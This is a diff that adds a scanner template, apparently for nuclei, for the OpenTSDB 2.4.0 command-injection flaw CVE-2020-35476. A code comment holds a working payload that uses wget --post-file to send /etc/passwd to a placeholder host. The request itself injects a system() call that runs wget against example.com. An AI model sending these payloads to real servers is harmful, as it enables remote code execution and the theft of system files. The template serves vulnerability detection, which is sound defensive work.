diff --git a/cves/2020/CVE-2020-35476.yaml b/cves/2020/CVE-2020-35476.yaml new file mode 100644 index 0000000000..5c5badf376 --- /dev/null +++ b/cves/2020/CVE-2020-35476.yaml @@ -0,0 +1,27 @@ +id: CVE-2020-35476 + +info: + name: OpenTSDB 2.4.0 Remote Code Execution + author: pikpikcu + severity: critical + description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. + reference: https://github.com/OpenTSDB/opentsdb/issues/2051 + + # Extracting /etc/passwd to remote host:- + # /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20--post-file%20/etc/passwd%20http://my-host%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json + +requests: + - method: GET + path: + - "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - plotted + - timing + part: body + condtion: and